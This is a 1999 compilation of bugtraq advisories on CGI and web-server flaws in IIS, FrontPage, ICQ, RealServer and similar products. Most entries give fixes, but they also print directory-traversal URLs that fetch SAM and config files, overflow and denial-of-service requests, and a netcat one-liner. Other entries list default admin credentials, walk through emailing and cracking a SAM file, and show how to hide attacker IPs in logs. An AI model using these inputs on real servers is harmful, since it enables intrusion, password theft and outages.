The Most Comprehensive List of CGI & httpd Bugs

CGI security: what you should aware of

The Most Comprehensive List of CGI & httpd Bugs
compiled by lirik@nanko.ru
last update: 1.Jun.99
stuff mostly from bugtraq
list of server's httpd

CGI scanner in perl | CGI scanner v1.35 17/05/99 | CGI Check 99 [REBOL] 27/05/99

Name: WinNT counter Versions: Denial of Service in Counter.exe version 2.70 Date: 19 May 1999 Author: mnemonix (http://www.infowar.co.uk/mnemonix/) A denial of service exists in counter.exe version 2.70, a fairly popular webhit counter used on the Win32 platform with web servers such as IIS and WebSite Pro. There are two different bugs: 1) When someone requests : http://no-such-server-really/scripts/counter.exe?%0A this will create an entry in counter.log of a blank line then a ",1" . If the person then refreshes their browser and requests it again you get an Access Violation in counter.exe - the instruction at 0x00414c0a referenced memory at 0x00000000. 2) When someone requests: http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As you get a similar problem - though not a buffer overrun. Whilst in a state of "hanging" all other vaild requests for counter are queued and not dealt with until someone goes to the console and okays the AV messages. Added to this memory can be consumed if the page is continuosly requested.

Name: Infosec.19990526.compaq-im.a Risk: Anyone that have access to port 2301 where Compaq Insight Manager is installed could get unrestricted access to the servers disk through the "root dot dot" bug. Versions: The web server included in Compaq Insight Manager Platform: Detected on Windows NT and Novell Netware servers Date: 26 May 1999 From: gabriel.sandberg@INFOSEC.SE When installing Compaq Insight Manager a web server gets installed. This web server runs on port 2301 and is vulnerable to the old "root dot dot" bug. This bug gives unrestricted access to the vulnerable server?s disk. It could easily get exploited with one of the URLs: http://vulnerable-NT.com:2301/../../../winnt/repair/sam._ http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf (How many dots there should be is install-dependent) Web-Based Management is enabled, by default, when you install the Compaq Server Management Agents for Windows NT.(CPQWMGMT.EXE) The web-enabled Compaq Server Management Agents allow you to view subsystem and status information from a web browser, either locally or remotely. Web-enabled Service Management Agents are availible in all 4.x versions of Insight Manager. Compaq HTTP Server Version 1.2.15 (Pre-Release) The only user accounts available in the Compaq Server Management Agent WEBEM release are listed below. http://111.111.111.111:2301/cpqlogin.htm account anonymous/public username operator/operator account administrator/administrator http://111.111.111.111:2301/cpqlogin.htm?ChangePassword=yes Once you have found one wbem enabled machine, using compaq's HTTP Auto-Discovery Device List http://111.111.111.111:2301/cpqdev.htm It is trivial to locate other machines. There are three types of data: Default(read only), Sets(read/write), and Reboot(read/write). The WebAgent.ini file in the system_rootCpqMgmtWebAgent directory specifies the level of user that has access to data . The "read=" and "write=" entries in the file set the user accounts required for access, where: 0 = No access, 1 = Anonymous, 2 = User, 3 = Operator, and 4 = Administrator. New Denial of service: Just to make this post somewhat worthwile. http://111.111.111.111:2301/AAAAAAAA..... (223 A's seemed to be the minimum) The first time this occurs, an application error occurs in surveyor.exe Exception: access violation (0xc0000005), Address: 0x100333e5

Name: IIS Risk: Site Server's AdSamples Directory Reveals ID and PSW Version: Tested on Microsoft Site Server 3.0 Commerce Edition Date: 11 May 1999 Author: Andrey Kruchkov Site Server allows the installation of an AdSamples directory, which serves to demonstrate the capabilities of the Ad Server component. If this directory is installed and left open to the public without limiting directory permissions, a user can obtain a site configuration file (SITE.CSC) that contains sensitive information pertaining to an SQL database. This information could contain a DSN, as well as a a username and password used by the Ad Server to access the SQL server database. Remove the "AdSamples" virtual directory from the DEFAULT root Web site, or change security permissions for this folder to sufficiently restrict access. The following URL could be used to obtain the contents of the SITE.CSC file: http://somesitename/adsamples/config/site.csc A simple text editor can be used to view the binary contents of this file, where the DSN, username and password would be easily discovered. This is probably a great time to remind people once again to NEVER install sample content on production servers and to NEVER use the built-in IIS DEFAULT Web site without first thoroughly investigating the implications of doing so.

Name: IIS showcode Risk: Web users can view ASP source code and other sensitive files on the web server Versions: Microsoft IIS 4.0 Web Server Date: May 7th, 1999 Author: weld@l0pht.com Internet Information Server (IIS) 4.0 ships with a set of sample files to help web developers learn about Active Server Pages (ASP). One of these sample files, showcode.asp, is designed to view the source code of the sample applications via a web browser. The showcode.asp file does inadequate security checking and allows anyone with a web browser to view the contents of any text file on the web server. This includes files that are outside of the document root of the web server. The showcode.asp file is installed by default at the URL: http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp It takes 1 argument in the URL, which is the file to view. The format of this argument is: source=/path/filename So to view the contents of the showcode.asp file itself the URL would be: http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp The author of the ASP file added a security check to only allow the viewing of the sample files which were in the '/msadc' directory on the system. The problem is the security check does not test for the '..' characters within the URL. The only checking done is if the URL contains the string '/msadc/'. This allows URLs to be created that view, not only files outside of the samples directory, but files anywhere on the entire file system that the web server's document root is on. http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini This URL requires that IIS 4.0 was installed in its default location. For production servers, sample files should never be installed so delete the entire /msadc/samples directory. Q184717 - AspEnableParentPaths MetaBase Property Should Be Set To False as well as one on removing samples. also note, that the exair sample (which is NOT installed by default) also has showcode functionality. WebTrends were also reporting the showcode.asp exploit, as well as an exploit in codebrws.asp (both from IIS 4.0). They also reported an exploit in viewcode.asp (from Site Server 3.0 Commerce Edition). All 3 reports result in the same vulnerability, the ability to do "../" up the directory tree and read files. http://ntbugtraq.ntadvice.com/default.asp?pid=36&sid=1&A2=ind9901&L=NTBU GTRAQ&D=0&P=6155&F=P showcode.c tester

Name: ICQ-Webserver Date: May 1999 -sending any non-http stuff or even a simple "get" (without any other characters however) crashes the ICQ-Client. This works with ICQ99a V2.13 Build 1700, but not with Build 1547. Moreover, there is a much bigger hole in the ICQ-Webserver: If you have the webserver enabled, everyone can access your complete(!) harddisk with a simple webbrowser. When your page is activated and you are online, each request to http://members.icq.com/<your ICQ-Number> redirected to your computer. Thus, every visitor get to know your current ip. Nevertheless, only the files in /ICQ99/Hompage/<your ICQ-Number>/personal should be accessible. But a visitor can "climb up" the directory tree with some dots, e.g. http://yourIP/...../a2.html would present him the file "a2.html" in the "ICQ99" directory. With some more dots, he would come to the root-directory of your harddisk. But there is one barrier: The ICQ-Webserver only delivers files with a ".html" extension. After some experiments I found a way to trick it out: I add ".html/" to the URL and the Webserver sends every file I request. For instance, http:///............./config.sys won't work, but http:///.html/............./config.sys" would. I have test this both with Build 1700 and with Build 1547. we were all using ICQ99a build 1700 Method used: telnet to port 80 send: QUIT <LF> it disconnects after 5 to 10 seconds. if you have a look at the pseudocode below, which i suspect mirabilis to use, you ll find thousands of ways to exploit icq. fread(my_socket,"%s %s %s", getword, url, httpversion); /// if you only feed two or one word, it 'dumps core', gpf under windoze change the slashes in url to backslashes; url = "c:program filesicqwebroot_dir" + url; /// yes, this is the '../../../../' bug ... open(fd,url); read(fd,buffer); write(socket,buffer); close(socket); i think its this because i made small webserver earlier to see common bugs. i checked on the net, and the dynamic server of francois piete (known for delphi components) and various shareware servers, or remote admin modules for eg. proxy servers are vulnerable. (kervel@svennieboy.terbank.kotnet.org) ----describtion of the security problem in Build 1701 ---- Problem: When the ICQ-Webserver is enabled (i.e. "Activate Hompage" is checked) everybody can test if a specific file exsist on this computer. Although an attacker can't view the contents of the files, he can test, for example, if a certain application is installed on this computer. This knowledge is usefull to prepare other attacks, e.g. sending specialized macro viruses or do some specialized D.o.S. - attacks. Details: Mirabilis fixed the old ICQ-Webserver-Bug. With the new version (build 1701), the ICQ-webserver would only deliver Files in the ICQ-Homapge-directory. If an attacker tries to read a file that is not in the hompage-directory of ICQ99 (with the same method as in the old bug), the ICQ-webserver would'n deliver the file. If the file exsists on the specific location the attacker would receive "403 Forbidden". If the file doesn't exsist he would receive "404 Not Found". Thus, he can test if a specific file exsist. It seems that the ICQ-Webserver first tests if the requested file exsists and than if the request is secure. I think, this order should be reversed. icqget.pl perl url get exploit icq-exp.txt tutoral for ICQ webserver

Name: Macintosh HTTP Server Vulns Versions: Shilo v1.0b (macos) DoS Date: 16 Apr 1999 Author: freaky@mail.staticusers.net A Program that will exploit the buffer overflow in the responder.cgi on MacHTTP Servers. As always, The Source code to the program is available. by epic of mSec (http://www.msec.net/ ) To download the exploit http://freaky.staticusers.net/attack/responder-cgi.html Responder.cgi, a public domain 'C' shell for MacHTTP CGI Servers contains a buffer overflow that when exploited, will cause the server it is run on to freeze. You are at risk if your responder.cgi file contains the line of code: char PostArg_Search[256]; which is the QUERY_STRING, Since it only allows upto 256 characters after ?, the server will crash if 257+ characters are requested. Exploit Example: (nc is netcat from avian.org) $ echo "GET /cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc machttp-server.com 80

Name: Real Media Server Versions: RealServer 6.0 Core... Date: April 1999 The fact is that through installation process it ask for a password that itsn't hide neither when you write it, but worse is that this password is stored in the file /usr/local/rmserver/rmserver.cfg in plain format and this file have as default a 644 permision mask. ALL the files installed for G2 are set as readable by ALL users! massive chmod'ing. It gets worse... the G2 web admin facility uses forms to change/set passwords etc. (Some of) these changes are logged, in plaintext, in the world readable access logs for your lusers' reading pleasure... 10.1.1.1 - - [14/Mar/1999:11:23:32 +0000] "GET admin/auth.adduser.html?respage%3Dadduser_respage.html%26name%3Devilhaxor%26 pass%3Dfreekevin%26realm%3DbadwURLd HTTP/1.0" 200 2452 [UNKNOWN] [UNKNOWN] [UNKNOWN] 0 0 0 0 0 114 I believe the PNM port is 554, which I believe _requires_ (for no good reason) you to run the G2 server as root (unless you change the port, which I did to 5540). Like Francisco said; the rmserver.cfg is world-readable and the subdirectory dbm_b_db and (worse of all, like Adam Laurie already stated), the dbm_b_db/users directory with user & passwd info is world-readable for anyone with shell access to the machine running rmserver. There also is a directory named "Secure", where -and I quote- you can "place secure contents in" so "RealServer will authenticate the user" :( So shell access to an rmserver = rmserver admin rights. (^.^)' this also affects Version 6.0.3.303 of RealAudio Basic Server on Win NT, File Persmission is set to full access by everyone Station Manager from Lariat Software (www.lariat.com) manages/schedules content offered on Real Servers and has similar issues. Quoting from their docs: Installing the product under docroot means all of the installed files are viewable and/or retrievable. This includes license info, manuals, admin info, *config* files...for example: http://my.example.com/stationmanager/lariat/server/config/stnmng.cfg might reward you with: --- RVSLTA Z:RealServerBinrvslta.exe SERVERHOSTNAME somehost.example.com SERVERPASSWORD xyz123 From what I can make out: Machines that first had IIS 3 then were upgraded to IIS 4 with the NT Option Pack and Service Pack 3 or 4 return the page and don't log. Here is the source for avoid.c as many have asked for it - for those that get a 500 response back from the server play around with the request_method length by increasing it until you get a 200ok response. It will chop and change between 5xx, 4xx and 200 responses

Name: Perl.exe and IIS security advisory Risk: the physical disk location of a virtual web directory can be ascertained. Versions: all versions of IIS Date: 22 Jan 1999 Author: mnemonix (mnemonix@GLOBALNET.CO.UK) In all versions of IIS, where a website has been configured to interpret perl scripts using the perl executable (perl.exe),a problem exists where a request for a non-existent file will return the physical location on a disk of a web directory. A request for: http://www.server.com/scripts/no-such-file.pl will return information similar to the following: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Can't open perl script "C:InetPubscriptsno-such-file.pl": No such file or directory Previously this was a problem when requesting a non-existent .IDC file but this was resolved with Service Pack 4. To resolve this problem in IIS 2 and 3 you can use perlis.dll, the ISAPI version of the perl interpreter, instead of the executable. You can use this in IIS 4 as well, however, if you still want to use perl.exe you can configure IIS to check for the file's existence. NTInfoScan, downloadable from http://www.infowar.co.uk/mnemonix/ntinfoscan.htm , checks for this problem and the .IDC issue as well as other security checks. Another problem with some versions of perl.exe (eg 5.001 build 110) is that it can be used to glean information from files that should not be readable (eg .asp or .idc), possibly even passwords and user IDs. This works even on directories with the "EXECUTE" permission only. The problem is caused by IIS not checking for a file's existence before passing control to a command interpreter. IIS 4.0 can do this, but it does not do it by default. Other versions of IIS don't have this capability. Basically what you do is request a file and append %20.pl to the end of the URL: http://www.server.com/scripts/default.asp%20.pl IIS receives this request and assumes it is a request for a perl script due to the extention so it passes the request to perl.exe. Perl, when it receives the instruction to execute default.asp treats the .pl as an argument. It goes ahead and tries to run the "commands" in the file but can't because it is not a valid perl script. Due to its verbosity in the error messages spawned by the file not being a real script you can glean information from the file. To see this working create a text file and call it passwd.txt. Enter "webadmin" (the user ID) on one line and "secret!" (the password) on another. Save it to your scripts directory and enter the following URL: http://your.server.com/scripts/passwd.txt%20.pl You should, depending upon your version of perl.exe receive the following output: Can't call method "webadmin" in empty package "password" at C:InetPubscriptspass.txt line 1 Some web cgi scripts require password files like these. Depending on how any .asp or .idc files are written you may be able to extract userIDs and passwords. Again another problem is that some versions of perl.exe will accept wildcards such as * or ?. Request: http://www.server.com/scripts/*.pl and perl.exe will open the first .pl it comes across in the directory. You can ask for *.asp%20.pl or d*.idc%20.pl - these will do fine. To stop this problem from happening use the ISAPI perl interpreter instead PerlIS.dll. This provides for better performance anyway because only one instance is ever loaded into memory. For each concurrent perl script request a new instance of perl.exe is loaded into its own memory space. This behaviour was discovered by Mnemonix.

Name: PWS32 httpd bug Risk: allows remote file listing/downloading/source viewing Versions: PWS 3.0 under Windows 9x. Frontpage-PWS32/3.0.2.926 Date: 21 Jan 1999 the following URL will list the root directory and be able to download any file you want. http://www.victim.com/....../ Index of /....../ WINDOWS My Documents Program Files FrontPage Webs AUTOEXEC.BAT COMMAND.COM Shares are accessible via personal Web Server. For Example, I tried sharing my WinZip Directory as 'Test' and strangely enough http://127.0.0.1/Test/ brought up the WinZip Directory. Under Windows NT 4.0 SP3: [ It seems NT interprets N+3 dots as '.' ] C:TEMP> cd .. C:> [ It seems NT interprets '..' as '..'. Makes sense as '' is directory delimiter character for paths. ] C:TEMP> cd ... C:> C:> cd TEMP C:TEMP> cd ...WINNT C:WINNT> [ Whoa. Now NT interprets '...' as '..'. Bad. Real bad. ] [ But it doesn't work in directories more that one deep. ] C:TEMP> cd ..... C:> C:TEMPTEST> cd ..... C:TEMP> cd .... C:TEMP> [ Hmm. Now NT interprets '....' as '..'. Weird. But wait it gets stranger. ] C:TEMP> cd .... C:TEMP> cd .... C:> [ The first '....' as interpreted as '.' and the second as '..'.But:] [ Now in a directory two levels deep the first '....' is interpreted as '..' while the second one gives an error. The first '..' is interpreted as '.' while the second one works as normal. ] The '....' problems seems to appear for any such string with N+4 dots followed by a slash. I can only guess on the many other ways they may try to interpret pathnames.

Name: upgraged to IIS 4.0 Date: 14 Jan 1999 Risk: Admin Brute-force hack and Buffer overflow Versions: those that upgraged to IIS 4 from IIS 2 or 3. Author: mnemonix (mnemonix@GLOBALNET.CO.UK) Microsoft's IIS 4 limits Web-based administration to the loopback address (127.0.0.1) by default as a security measure. However, a relict left over from IIS 2 and 3, ism.dll left in the /scripts/iisadmin directory, allows users / attackers to access the previous ISAPI application used for remote web-based administration from an non-loopback IP address. On accessing a URL similar to the following http://www.server.com/scripts/iisadmin/ism.dll?http/dir a user will be prompted for a UserID and password and if successful authentication takes place they are given access to sensitive server information. Note however, that changes can no longer be made with this application. It does however provide an attacker with a means to brute force / guess the Administrators password and if successful an enormous amount of reconnaisance work can be achieved through the application's use. This application is now rundundant and can be removed. It plays no part in IIS 4's Web-based administration. Added to this if IIS 4 is installed from the NT Option Pack and Frontpage Server Extentions are installed too, the fpcount.exe utility found in the /_vti_bin/ contains an exploitable buffer overrun. I advised on this last year and MS produced an updated version in FPServer Extentions 98 which can be downloaded from the MS website. Fpcount.exe (c) mnemonix Microsoft's FrontPage extentions comes with a utility called fpcount.exe - this is used as a webhit counter. If you access this program directly you can cause a buffer over flow and/or tie up the processor at 100%. The two can be combined into a denial of service attack that will cause IIS to stop servicing requests: http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=10000 Note here we are asking fpcount to calculate to 10000 digits. This will cause the buffer overrun and Dr Watson, or whatever the specified debugger is, will kick in saying so. When Dr Watson loads here it takes up about 4000K of memory. If an attacker reloads the page a number of times the remote machine will soon run dry of memory. To then finally kill IIS an attacker would enter the following URL: http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=-10000 With this negative integer the program's buffer won't overflow and will tie up the processor at 100% while it tries to generate 10000 digits. The largest number I've been able to send without problems is -99999999. This will kill IIS for upto 10 hrs depending on the speed of the processor. Even when it has finished calculating it is still short on available memory.

Name: cgic library Date: 10 Jan 1999 Risk: Buffer overflow Versions: Thomas Boutell's cgic library (version 1.05) Distro: www.boutell.com program has a buffer overflow in cgiFormEntryString() which is almost certainly exploitable.(Although it obviously depends on the program that has linked with cgic.) The fault is because he is checking if 'len =3D=3D avail' before examining = each input character, but if the character is not CR or LF then 'len' is not checked after outputting the LFs but before outputting the character. (i.e. it checks that there is 1 byte free in the buffer, but then it can sometimes place 2 bytes in the buffer before checking again.) i.e. if 'avail' is 'n' and the 'n-1'th character is LF or CR and the 'n'th character is *not* LF or CR then the character will be written at the end of the buffer (because avail =3D=3D sizeofbuffer-1), and then len =3D avail= + 1. Since he always checks for 'len =3D=3D avail' rather than 'len>=3D avail',= this means the overflow detection never kicks in,and the routine keeps copying until the end of the input. The attacker is free to copy whatever data they desire into the memory above the buffer. As an example, the cgictest program can be segfaulted by: $ REQUEST_METHOD=3DGET QUERY_STRING=3D'address=3D<240 x letter 'A'>%0A<1000=x letter 'A'>' ./cgictest Content-type: text/html cgic test Name: Address: Segmentation fault (core dumped) Oh, one other point is that the 'cgiSaferSystem' function appears to be seriously misguided. It is merely escaping the '|' and ';' characters, which is of course totally inadequate. (As an aside, I think it is safe to use Perl's quotemeta function before sending a string to a shell. It puts a backslash before all characters except [A-Za-z0-9_]. )

Name: HTTP REQUEST_METHOD flaw Date: 6 Jan 1999 Risk: could allow web server attacks to go unnoticed. Versions: Apache/1.3.3, 1.2.7, IIS 2, 3 and 4 and others? The problem relates to "allowable" REQUEST_METHODs when a dynamic resource, such as a CGI script is requested. Essentially _any_ (except for HEAD, TRACE and OPTIONS) REQUEST_METHOD can be used - even methods not defined in the HTTP protocol. Consider the following requests which all return the requested resource. GET /cgi-bin/environ.cgi HTTP/0.9 Azx5T8uHTRuDL /cgi-bin/environ.cgi HTTP/1.0 Even Control characters are allowed. Consider the following: ^H^H^H^H^H^H^H^H^H lots of these ^H^H /cgi-bin/environ.cgi HTTP/1.1 An attacker could issue this request in an attempt to hide their movements. When this request is logged in the access log and viewed using cat or more the above will appear with the IP address removed. # cat /var/log/httpd/access_log or # more /var/log/httpd/access_log reveals 10.20.20.1 - - [05/Jan/1999:18:00:00 GMT] "GET / HTTP/1.0" 200 1098 /cgi-bin/environ.cgi HTTP/1.1" 200 2034 10.20.20.2 - - [05/Jan/1999:18:01:00 GMT] "GET /index.html HTTP/1.1" 200 1098 Using a method similar to this it is possible for an attacker to make it appear as if the attack came from another IP address or completely remove the whole entry by placing certain control characters in the QUERY_STRING, too. This "hiding" works because the control characters are interpreted when piped to STDOUT and the ^H being the back space removes, from the screen at least, the IP address and date and time stamp. You could use the vi editor the view the "real" contents of the access log. Also it affects is Microsoft's Internet Information Server, but in the NT environment this is less of a problem because the log files are generally viewd in Notepad and not using the "type" command, which incidently will interpret the control characters. As I said it's only a mild problem most likely, really, to effect those that don't use a text editor to browse log files. The paranoid may want to reconsider their logging entirely.Apache's "raw" logging of the request can result in more serious problems. Consider: $ telnet www.foo.com http Trying www.foo.com... Connected to www.foo.com. Escape character is '^]'. GET / HTTP/1.0" 404 -9999999 " This results in the following (combined format) log entry: aaa.bbb.ccc.ddd - - [07/Jan/1999:14:07:41 -0500] "GET / HTTP/1.0" 404 -9999999 "" 200 751 "-" "-" In the "combined" log format, the same technique is possible with the referer and user-agent, such that you can construct completely unparseable log entries. It seems to be that newlines are the only characters you can't weasel into a request. Sending a null, by the way, results in this interesting effect: 209.54.21.199 - - [07/Jan/1999:14:35:27 -0500] "?“?y" 501 - "-" "-" (Perhaps that will be mutilated by non 8-bit mail transport.. it's the four characters ff f4 ff fd) There is, however, a more important issue according to Marc Slemko that this same feature of allowing arbitrary methods to be passed to CGIs can result in. Many people, for some reason, insist on using the "Limit" directive whenever they configure any access restrictions. For example, they may do: <Limit GET POST> order deny,allow deny from all allow from 10.0.0 </Limit> to deny all access to hosts outside of 10.0.0.0/24. That is incorrect. In normal situations, it doesn't always lead to much of a security risk. With many CGIs, it does. That is because many CGIs do not properly check what method they are called with and refuse requests if they don't understand the method. That means it is impossible[0] to list every method that could be used to call a script, since Apache allows for arbitrary methods to be used.

Name: CGIMail.exe Date: 1998 Versions: by Stalkerlabs for a Win32 platform. Risk: file steal Author: mnemonix CGIMail.exe is a Web to e-mail gateway program.Basically, you fill in an on-line form and it is e-mailed off. The contents of the form, amongst other things, contains the following : <form action="/scripts/CGImail.exe" method="POST" NAME="TestForm"> <input type=hidden name="$File$" value="/scripts/template.txt"> <input type=hidden name="$Subject$" value="CGImail Example"> <input type=hidden name="$LocationOK$" value="/ok.html"> <input type=hidden name="$LocationKO$" value="/ko.html"> <input type=hidden name="$To$" value="mnemonix@globalnet.co.uk"> <input type=hidden name="$Optional$" value="mmmh, no!"> There is also another possible "hidden" input type and this takes the following shape: <input type=hidden name="$Attach$" value=""> This allows you to attach a file to the e-mail - any file the IUSR_COMPUTERNAME account has access to. So if the NT server is poorly configured as far as security is concerned you could put in "c:winntrepairsam._" as the input's value: <input type=hidden name="$Attach$" value="c:winntrepairsam._"> Note - Using %windir% won't work - you need the full path. So here's how the hack would go : You go to their form page and view the source. Save this source to the desktop and make some editions to it, like put your e-mail address in (use a temporary one!) and put the $Attach$ entry in. Save these changes and then load the new page and click on send. All things going well you should receive a compressed copy of their SAM which you can then get to work on, using l0phtcrack to glean the passwords. CGIMail can be made more secure: the cgimail.ini can be edited so that only certain referrers are accepted but only around 50% of the machines I've seen with this on have configured it so.

Name: Unauthorized ODBC Access via RDS and IIS Date: 1998 Versions: IIS 4.0, MS Remote Data Services v1.5, MS Visual Studio v6.0 Risk: Unauthorized ODBC Access via RDS and IIS According to the notice issued by Microsoft, "a web client connecting to an IIS server can use the RDS DataFactory object (installed with NT Option Pack) to direct that server to access data using an installed OLE DB provider. This includes executing SQL calls to ODBC-compliant databases using the ODBC drivers installed on the server." EXAMPLE "A web-client could issue a SQL command along with the name or IP address of a remote SQL server, a SQL account and password, database name, and a SQL query string. If the request is valid (remote server is reachable by the IIS server, user account and password are correct, database name is valid), the query results will be sent via HTTP back to the client. While it is true that this requires significant inside information, the potential accessibility of this information should not be underestimated..." The problem is compounded by using other software, such as Microsoft DataShape Provider and Microsoft JET OLE DB provider (included with MDAC 2.0 in Visual Studio 98) because they allow shell commands to be executed -- we're certain you get this gist of this implication... SOLUTION Consider disabling the implicit remoting functionality in the DataFactory object -- it's dangerous. To do so, remove the following Registry keys: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices W3SVCParametersADCLaunchRDSServer.DataFactory HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC ParametersADCLaunchAdvancedDataFactory HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC ParametersADCLaunchVbBusObj.VbBusObjCls Additionally, the NT Resource Kit includes the utility DELREG.EXE which can be used to remove the above mentioned keys. Reference Microsoft's Knowledge Base article Q184375, for security implications of RDS 1.5, IIS 4.0, and ODBC.

Name: newdsn.exe & getdrvrs.exe Date: 1998 Versions: Internet Information Server 3.0 Risk: default scripts can bring hack Source: mnemonix When IIS is installed it will create a tools sub-directory off of the /scripts directory. It will place a number or related .exes in here that are used for creating ODBC datasources for online databases. These executables leave cause two security concerns. The first is that using these .exes a remote attacker can create a file with any extention in any directory that the anonymous internet account has NTFS write permissions to. If FAT is in use then they can write to anywhere. The exe that creates the file is actually dsnform.exe. Lets say they had write access to any of your directories with the "execute" permission. If they knew the real path to this directory they can create a file with a .exe extention - eg run.exe. Assuming they have write permissions to your scripts directory they would enter the following URLs: http://www.server.com/scripts/tools/getdrvrs.exe From here they would choose the *.mdb option and be taken to: http://www.server.com/scripts/tools/dsnform.exe?Microsoft+Access+Driver+(*.mdb) Here they would enter a datasource name to create (can be anything you want)and then specifies the database name. This is where the attacker would enter something like c:inetpubscriptsrun.exe. They then click on create datasource (making sure that "Create new database with this name" is checked). They should be taken to the following: http://www.server.com/scripts/tools/newdsn.exe? driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=sdsd&dbq=hmm.mdb&newdb=CREATE_DB&attr= After they had created run.exe they enter the following URL: http://www.server.com/scripts/run.exe Because run.exe is not a real executable and is infact an mdb file with a .exe extention it has problems executing. Create the file and run it from a command prompt. You'll see invalid CPU calls and it will ask you to "Terminate" or "Ignore". What actually happens is NT tries running it and thinks it's a 16-bit program so will launch an NTVDM (NT's Virtual DOS machine -for running 16-bit apps). Now if this is run via the web because it is non-interactive with the desktop you don't get the prompt to terminate or ignore - the NTVDM just hangs. If this attacker now refreshes his page a number of times you'll soon start to eat into your virtual memory - a new NTVDM is loaded each time. By the way - this invalid CPU call is actually an NTVDM buffer overflow - there is no known way to execute arbitary code with it - you'll need to inject your assembly code into the run.exe mdb file and this can't be done from across the web without having some other means to do this. This is a simple denial of service. The other problems with this set of executables is that existing datasources can be modifed if the database file name is known - instead of choosing "Create new database with this name" choose "This is an existing Access database". This will re-write the ODBC database making it now inaccessible - another Denial of service attack. http://vulnerable.site.com/scripts/tools/newdsn.exe? driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft &dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB&attr= will create file evil.html in wwwroot directory. evil.html in fact is a Microsoft Access Database. Solution: delete newdsn.exe :)

Name: Index Server Exploit Date: 1998 Versions: Internet Information Server 3.0 (Index Server Exploit) Risk: default scripts can bring hack If the system administrator has left the default sample files on the Internet Information server, a hacker would have the opportunity of narrowing down their search for a username and password. A simple query of a popular search engine shows about four hundred websites that have barely modified versions of the sample files still installed and available. This file is called queryhit.htm. Many webmasters have neglected to modify the search fields to only search certain directories and avoid the script directories. Once one of these sites is located a search performed can easily narrow down the files a hacker would need to find a username and password. Using the sample search page it is easy to specify only files that have the word password in them and are script files (.asp or .idc files, cold fusion scripts, even .pl files are good). The URL the hacker would try is http://servername/samples/search/queryhit.htm then the hacker would search with something like "#filename=*.asp" When the results are returned not only can one link to the files but also can look at the "hits" by clicking the view hits link that uses the webhits program. This program bypasses the security set by IIS on script files and allows the source to be displayed. Even if the original samples are not installed or have been removed a hole is still available to read the script source. If the server has Service Pack 2 fully installed (including Index Server) they will also have webhits.exe located in the path http://servername/scripts/samples/search/webhits.exe This URL can preface another URL on that server and display the contents of the script. To protect your server from this problem remove the webhits.exe file from the server, or at least from it's default directory. I also recommend that you customize your server search pages and scripts (.idq files) to make sure they only search what you want - such as plain .HTM or .HTML files. Index Server is a wonderful product but be sure you have configured it properly.

Name: Executable Directories in IIS 4 Date: August 31, 1998 Versions: Internet Information Server 4.0 Risk: If a non-administrative user can place executable code into a web site directory which allows file execution, the user may be able to run applications which could compromise the web server. The following directories are marked executable by default on an install of IIS 4.0: /W3SVC/1/ROOT/msadc /W3SVC/1/ROOT/News /W3SVC/1/ROOT/Mail /W3SVC/1/ROOT/cgi-bin /W3SVC/1/ROOT/SCRIPTS /W3SVC/1/ROOT/IISADMPWD /W3SVC/1/ROOT/_vti_bin /W3SVC/1/ROOT/_vti_bin/_vti_adm /W3SVC/1/ROOT/_vti_bin/_vti_aut In a default install, the physical drive mappings will be: msadc c:program filescommonsystemmsadc News c:InetPubNews Mail c:InetPubMail cgi-bin c:InetPubwwwrootcgi-bin SCRIPTS c:InetPubscripts IISADMPWD C:WINNTSystem32inetsrviisadmpwd _vti_bin Not present by default - installed with FrontPage extensions Access to the physical directories can be obtained through drive sharing, remote command shells (e.g., rcmd, telnet, remote.exe), HTTP PUT commands, or FrontPage. None of these methods are available in a default install, but are often added by administrators. The default NTFS permissions are overly permissive, and allow change control (RWXD) to the Everyone group by default, with the exception of msadc which is full control to Everyone. Due to the sensitive nature of these directories, it is recommended that NTFS access permissions should be: Administrators, LocalSystem: Full Control Everyone: Special Access(X) Recommended Action: Administrators should verify access permissions on all virtual HTTP server directories that are marked executable. See below for recommended permissions. All security patches that protect against local attacks should be applied to HTTP servers due to the possibility of the server executing code locally. See http://www.microsoft.com/security for details.

Name: Microsoft Frontpage Date: 10 july 1998 Versions: Microsoft FrontPage Extensions, versions 1.0-1.1 Risk: unauthorized users can vandalize authorized users' files by appending to them or overwriting.On a system with server-side includes enabled, remote users may be able to exploit this bug to execute commands on the server. Distro: www.microsoft.com/frontpage/documents/bugQA.htm Source: The MH DeskReference 1.2 by Rhino9 The server extensions are installed server side to provide added functionality for frontpage web authors. These extensions function as "web bots" if you will, giving web authors that use frontpage easy access to complex web and HTML functions. The hacces.ctl file can give you a lot of information, including the location of the service password file. A complete example: # -FrontPage- Options None <Limit GET POST PUT> order deny,allow deny from all AuthName default_realm AuthUserFile c:/frontpage webs/content/_vti_pvt/service.pwd AuthGroupFile c:/frontpage webs/content/_vti_pvt/service.grp a list of the Internet Information server files location in relation to the local hard drive (C:) and the web (www.target.com) C:InetPubwwwroot <Home> C:InetPubscripts /Scripts C:InetPubftproot default for ftp C:InetPubwwwroot_vti_bin /_vti_bin C:InetPubwwwroot_vti_bin_vti_adm /_vti_bin/_vti_adm C:InetPubwwwroot_vti_bin_vti_aut /_vti_bin/_vti_aut C:InetPubcgi-bin 